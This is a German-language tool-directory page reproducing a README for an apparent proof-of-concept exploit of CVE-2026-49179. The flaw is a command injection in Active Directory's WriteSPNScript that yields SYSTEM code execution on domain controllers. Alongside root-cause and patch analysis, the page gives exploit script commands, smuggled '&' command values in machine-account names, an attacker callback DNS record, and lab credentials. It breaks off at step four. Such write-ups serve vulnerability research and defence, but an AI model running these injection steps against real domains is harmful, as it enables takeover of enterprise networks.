Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-49179-Active-Directory-WriteSPNScript-Command-Injection — Proof-of-Concept- und Exploit-Skripte für CVE-2026-49179, eine Command Injection in der WriteSPNScript-Funktion von Active Directory, die SYSTEM-RCE auf Domänencontrollern ermöglicht. | Kitploit
Tools/GitHubGitHub/overgrowncarrot1/cve-2026-49179-active-directory-writespnscript-command-injection
Privilege EscalationSchwachstellenanalyseExploitationPenetrationstests
GitHubovergrowncarrot1/cve-2026-49179-active-directory-writespnscript-command-injection

CVE-2026-49179-Active-Directory-WriteSPNScript-Command-Injection

Proof-of-Concept- und Exploit-Skripte für CVE-2026-49179, eine Command Injection in der WriteSPNScript-Funktion von Active Directory, die SYSTEM-RCE auf Domänencontrollern ermöglicht.

Repository anzeigen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
5254vor 1 MonatNoch nicht geprüft

CVE-2026-49179: Active Directory WriteSPNScript Command Injection

Zusammenfassung

FeldWert
CVE-IDCVE-2026-49179
CVSS8.8 (AV:N/AC:L/PR:L/UI:N)
CWECWE-77 (Command Injection)
Betroffene Komponententdsai.dll — WriteSPNScript-Funktion
Betroffene SystemeWindows Server 2016, 2019, 2022, 2025 (vor dem Patch)
AngriffsvektorAuthentifizierter Domänenbenutzer (beliebiger)
AuswirkungRemote Code Execution als SYSTEM auf dem Domain Controller
VeröffentlichtAugust 2026

Beschreibung der Schwachstelle

Die Funktion WriteSPNScript in ntdsai.dll generiert Batch-Skriptbefehle für die SPN-Behebung (Service Principal Name) während Active-Directory-Wartungsvorgängen. Die Funktion verwendet eine Formatzeichenfolge, um repadmin.exe /writespn-Befehle zu erstellen, versäumt es jedoch, den Distinguished Name (DN)-Parameter zu bereinigen, wodurch eine Befehlsinjektion über das Zeichen & (cmd.exe-Befehlstrennzeichen) ermöglicht wird.

Die verwundbare Formatzeichenfolge:

%ws\repadmin.exe /writespn %ws %ws %ws\r\n

Parameter: SystemDir, WriteOp (ADD/DELETE), DN, SPN_value

Der DN wird aus dem Common Name (CN) des Maschinenkontos abgeleitet, der bei der Kontoerstellung festgelegt wird. Wenn ein Maschinenkonto mit Shell-Metazeichen im Namen erstellt wird, gelangen diese Zeichen unescaped in das generierte Skript. Wenn cmd.exe das Skript ausführt, wirkt & als Befehlsseparator und führt vom Angreifer kontrollierte Befehle als SYSTEM aus.

Analyse der Grundursache

Die Validierungslücke: SAMR vs. LDAP

Active Directory verfügt über zwei primäre Protokolle zur Verwaltung von Maschinenkonten:

ProtokollZeichenvalidierungShell-Metazeichen
LDAP (SPN-Werte)Strikt — CONSTRAINT_ATT_TYPE lehnt & ; | ' \ $ ( )` abBlockiert
SAMR (Maschinennamen)Locker — validiert das grundlegende Format des KontonamensErlaubt: & ' \ $ ( ) ! Leerzeichen`

Diese Asymmetrie der Validierung ist die Grundursache:

  • LDAP-SPN-Validierung blockiert alle gefährlichen Zeichen in SPN-Werten (Sackgasse für Injection über SPN)
  • SAMR-Kontoerstellung erlaubt Shell-Metazeichen in sAMAccountName, der zum CN wird und in den DN fließt
  • Der DN wird ohne Bereinigung an WriteSPNScript übergeben

Verwundbarer Code (Basis-ntdsai.dll)

An der Adresse 0x1802a98a0 im ungepatchten Binary:

void WriteSPNScript(... longlong param_4 /* DN */, longlong *param_5 /* SPNs */, ...)
{
    STRSAFE_LPSTR pszDest;  // ANSI output buffer
    char local_288[47];     // Format: "%ws\repadmin.exe /writespn %ws %ws %ws\r\n"
    WCHAR local_258[264];   // System directory

    GetSystemDirectoryW(local_258, 0x104);

    // Calculate buffer size (sum of all string lengths + overhead)
    uVar4 = len(sysdir) + len(writeop) + len(spn_value) + len(dn) + 0x2f;

    // Allocate and format — NO ESCAPING of DN or SPN parameters
    pszDest = THAlloc_(param_1, 1, uVar4, 1);
    StringCchPrintfA(pszDest, uVar4, local_288, local_258);

    // Write to script file handle
    WriteFile(handle, pszDest, len, &bytesWritten, NULL);
}

StringCchPrintfA formatiert den DN direkt in den Ausgabepuffer. Keine Escaping, keine Quotierung, keine Bereinigung.

Generierte Ausgabe (anfällig)

Für einen Rechner mit CN=A&ping attacker&B:

C:\Windows\System32\repadmin.exe /writespn ADD CN=A&ping attacker&B,CN=Computers,DC=domain,DC=local HOST/A&ping attacker&B

cmd.exe interpretiert dies als fünf separate Anweisungen:

#AnweisungErgebnis
1C:\...\repadmin.exe /writespn ADD CN=ASchlägt fehl (abgeschnittener DN)
2ping attackerINJIZIERT — wird als SYSTEM ausgeführt
3B,CN=Computers,DC=... HOST/ASchlägt fehl (kein gültiger Befehl)
4ping attackerINJIZIERT — wird erneut ausgeführt (aus dem SPN-Parameter)
5BSchlägt fehl (kein gültiger Befehl)

Der injizierte Befehl erscheint zweimal — einmal aus dem DN-Parameter und einmal aus dem SPN-Parameter (der ebenfalls den Maschinennamen enthält).

Patch-Analyse

Das gepatchte WriteSPNScript (Größe: 1477 → 2005 Bytes) nimmt drei Änderungen vor:

1. Escaping-Funktionen hinzugefügt

Zwei neue Sanitierungsfunktionen, die auf beide Parameter — DN und SPN — angewendet werden:

  • EscapeForPowerShellSingleQuote() — maskiert ', um ein Ausbrechen aus einfach-quotierten Strings zu verhindern
  • EscapeForNativeArgvBackslashesBeforeDoubleQuote() — maskiert \-Sequenzen vor " für die native argv-Analyse

2. Änderung des Ausgabeformats

Basis (anfällig)Gepatcht
FunktionStringCchPrintfA (ANSI)StringCchPrintfW (Wide/Unicode)
QuotierungKeineEinfach-quotierte Parameter
Ausgaberepadmin /writespn ADD DN SPNrepadmin /writespn ADD 'escaped_DN' 'escaped_SPN'

3. Feature-Flag entfernt

Eine frühere Revision enthielt ein Feature-Flag Feature_Servicing_SPN_alias_WRITE_PROP_check_37148918__private_IsEnabled, das den Fix steuerte. Im finalen Patch wurde dieses Flag entfernt — der Fix ist immer aktiv und kann nicht deaktiviert werden.

Proof of Concept

Testumgebung

HostRolleIPBetriebssystem
WINTERFELLDomänencontroller192.168.56.11Windows Server 2019
AngreiferKali Linux192.168.14.238Kali 2026
Domänenorth.sevenkingdoms.local
Benutzer mit geringen Rechtensamwell.tarly / HeartsbaneNormaler Domänenbenutzer
Admin-Benutzerrobb.stark / sexywolfyDomänenadministrator

Schritt 1: Bestätigen, dass SAMR Shell-Metazeichen akzeptiert

Mit spn_probe3.py wurde getestet, welche Zeichen SAMR in Maschinenkontonamen akzeptiert im Vergleich zu den Zeichen, die LDAP in SPN-Werten akzeptiert:

SAMR Machine Name Character Test (as samwell.tarly):
  [+] ACCEPTED  '   (single quote)     -> INJECT'A$  RID: 1123
  [+] ACCEPTED  `   (backtick)         -> INJECT`A$  RID: 1124
  [+] ACCEPTED  &   (ampersand)        -> INJECT&A$  RID: 1125
  [+] ACCEPTED  $   (dollar sign)      -> INJECT$A$  RID: 1126
  [+] ACCEPTED  (   (left paren)       -> INJECT(A$  RID: 1127
  [+] ACCEPTED  )   (right paren)      -> INJECT)A$  RID: 1128
  [+] ACCEPTED  !   (exclamation)      -> INJECT!A$  RID: 1129
  [+] ACCEPTED  ' ' (space)            -> INJECT A$  RID: 1130

LDAP SPN Validation (all 28 shell metacharacters tested):
  [-] ALL REJECTED with constraintViolation (DSID-033E109C)

Zentrale Erkenntnis: SAMR erlaubt alle 8 getesteten Shell-Metazeichen. LDAP blockiert alle. Der Injektionsvektor verläuft über von SAMR erstellte Maschinennamen, nicht über SPN-Werte.

Schritt 2: Injektionsmaschine als normaler Domänenbenutzer erstellen

$ python3 spn_prl_exploit.py 192.168.56.11 \
    -d north.sevenkingdoms.local \
    -u samwell.tarly -p Heartsbane --payload benign

[*] Creating machine via SAMR: 'A&echo POC&B$'
[+] Created A&echo POC&B$, RID: 1137

Auch als samwell.tarly erstellt:

[+] Created C&ping a&D$, RID: 1138

Bestätigt: Ein normaler Domänenbenutzer (PR:L) kann Maschinenkonten mit &-Befehlsinjektion im Namen erstellen.

Schritt 3: DNS-Eintrag für Callback hinzufügen (als normaler Benutzer)

Normale Domänenbenutzer können ADIDNS-Einträge hinzufügen. Verwendete dnstool.py, um einen kurzen Hostnamen zu erstellen, der auf den Angreifer zeigt:

python3 dnstool.py -u 'north.sevenkingdoms.local\samwell.tarly' -p 'Heartsbane' \
    -r a.north.sevenkingdoms.local -a add -d 192.168.14.238 192.168.56.11

Verifizierte Auflösung auf DC:

*Evil-WinRM* PS> nslookup a.north.sevenkingdoms.local
Name:    a.north.sevenkingdoms.local
Address:  192.168.14.238

Schritt 4: Command Injection auf dem DC verifizieren

Tool herunterladen